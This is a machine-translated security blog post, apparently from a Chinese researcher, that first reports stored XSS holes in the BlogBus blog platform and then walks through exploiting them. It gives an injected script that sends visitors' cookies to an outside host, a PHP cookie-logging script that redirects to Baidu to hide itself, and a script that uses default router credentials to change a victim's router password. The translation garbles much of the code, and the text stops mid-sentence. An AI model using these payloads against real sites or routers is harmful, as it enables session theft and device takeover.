Analysis of BlogBus cross-site attack instances

Author: quange

Home: http://riusksk.blogbus.com

 

Preface

Cross-Site attack, that is, Cross Site Script Execution (usually abbreviated as XSS). Because CSS has the same name as the stacked style sheet, it is changed to XSS. This means that attackers cannot filter user input using website programs, enter the HTML code that may affect other users on the page to steal user information, use user identity for certain actions, or conduct virus attacks on visitors. Many people mostly use XSS in the box, and some vendors disagree with XSS. They all think that the security level is very low or even negligible. This article describes how to use cross-site attacks and analyzes them with examples.

 

Vulnerability Testing

For the XSS vulnerability test, we will take the blog bus as an example. Recently, I also found multiple cross-site vulnerabilities, two of which have been published on the WooYun website, its main content is as follows:

Vulnerability details

Brief description:

Blog Bus Storage XSS Vulnerability

Detailed description:

In the "Additional Information" Field of "personal information Settings", because the content of "personal profile" is not strictly filtered, you can achieve cross-site access on the blog homepage, in the "add Additional Information" section below, because the "Information title" content is not strictly filtered, it can also lead to the emergence of cross-site.

However, I just tested it again and found that only one of the vulnerabilities (Personal Profile) has been repaired by the official team, and the other vulnerability has to be triggered in the blog management background, which is of little use value. At the same time, I found five cross-site vulnerabilities in my blog template test. It is estimated that some of these vulnerabilities have been discovered for a long time, but they have not been fixed after being published or reported to blogbus. The main purpose of this report to WooYun is to allow blogbus to fix this vulnerability, because my blog is here! Pai_^ the remaining five vulnerabilities are in the "Edit custom template". Because the code in the head, index, index-post, detail, and detail-post modules is not strictly filtered, this causes cross-site communication. </img>, I will change the prompt statement to the corresponding name. The first three scripts can be triggered on the homepage. The last two scripts can be triggered only when an article is opened. Test results 1 and 2 are shown:

Figure 1 (triggered on the homepage)

Figure 2 (trigger an article)

The tests on other websites are similar. In addition to manual tests, you can also use other automatic scanning tools, such as Acunetix Web scanning ......

 

Vulnerability Exploitation

I. Cookie Theft

For cross-site attack methods, the most common method is cookie Theft. After obtaining the cookie, you can directly use the "mingkiddie" tool or other browsers that can modify the cookie (such as Firefox with the cookie Edit plug-in installed) change the cookie to the obtained cookie, so that you can obtain the management permission of the blog.

First, we write data in the head code module of the Custom template.

<Script> document. write (); </script>

Or

<Script> document. location = http: // localhost/test. php? Cookie = + document. cookie; </script>

Here I place the script on the local machine. You can change the localhost address based on the script address. Both of the above can achieve the same effect, but in terms of concealment, the former will be more concealed, readers can choose their own, of course, other statements can achieve the same purpose, it depends on how you play it. Next we will compile the above test. php file, which is mainly used to obtain the cookie of the other party. Its source code is as follows:

<? Php
 
$ Cookie = $ _ GET [cookie]; // GET the cookie variable value in GET Mode
$ Ip = getenv (REMOTE_ADDR); // Remote Host ip Address
$ Time = date (Y-m-d g: I: s); // display the time in the format of "year-month-day hour: minute: second"
$ Referer = getenv (HTTP_REFERER); // link Source
$ Agent = $ _ SERVER [HTTP_USER_AGENT]; // user browser type
 
$ Fp = fopen(cookie.txt, a); // open cookie.txt. Create cookie.txt if it does not exist.
Fwrite ($ fp, "IP :". $ ip. "Date and Time :". $ time. "User Agent :". $ agent. "Referer :". $ referer. "Cookie :". $ cookie. ""); // write the file
Fclose ($ fp); // close the file
 
Header ("Location: http://www.baidu.com"); // redirects web pages to Baidu to enhance concealment
 
?>
Next we visit the blog home page, I here to http://quan-ge.blogbus.com as the test address, visit after we open http: // localhost/cookie.txt to see whether the cookie.txt file is created and write data, result 3 shows:

Figure 3

Obviously, we have already successfully stolen cookies, and we believe that everyone knows the rest. We will not go into details here.

 

Ii. penetration Router

For users in the Intranet, we can use XSS to change the vro password. We can use the default password to log on to the router, such as URL: http: // admin: admin@192.168.1.1, in fact, many routers use the default password, I here this is also the case, use admin as the user name and password. First, use the Firefox plug-in Live HTTP headers to obtain the request header, as shown in Figure 4:

Figure 4

Therefore, you can write the following statement in the head code module:

<Script src ="Http: // localhost/1.js"> </script>

Among them, 1. js source code is as follows:

Window. open ("http: // admin: admin@192.168.1.1/userRpm/ChangeLoginPwdRpm.htm? Oldname = admin & oldpassword = admin & newname = administrator & newpassword = password & newpassword2

= Password & Save = % B1 % A3 + % B4 % E6 ");

Next we try to log in with http: // newadmin: newpass@192.168.1.1, as shown in result 5:

Figure 5

The password has been modified!

 

3. read local files

Different browsers have different restrictions on reading local files. XEYE team had statistics before. The specific content is as follows:

1: IE6 can read unrestricted local files. ie8 and the corresponding version of the trident kernel browser controls the permissions of local ajax execution, it seems that MS attaches great importance to security risks such as IE.

2: FF3.0.8 and earlier versions allow locally executed ajax to access the file content in the current directory. Other directories cannot be accessed.

3: opera9.64 and earlier versions allow access by specifying the file url as the file: // protocol. If the file is in the current directory, you do not need to specify the file: // protocol; if the file is on the same drive letter, it can be accessed in a way that exceeds the Directory :.. /.. /boot. ini.

4: Based on the webkit kernel: google chrome, travel 3.0, safari and other browsers do not have any access restrictions on local ajax permissions.

The above test uses ajax to read files. However, on Windows 7, I used php to test various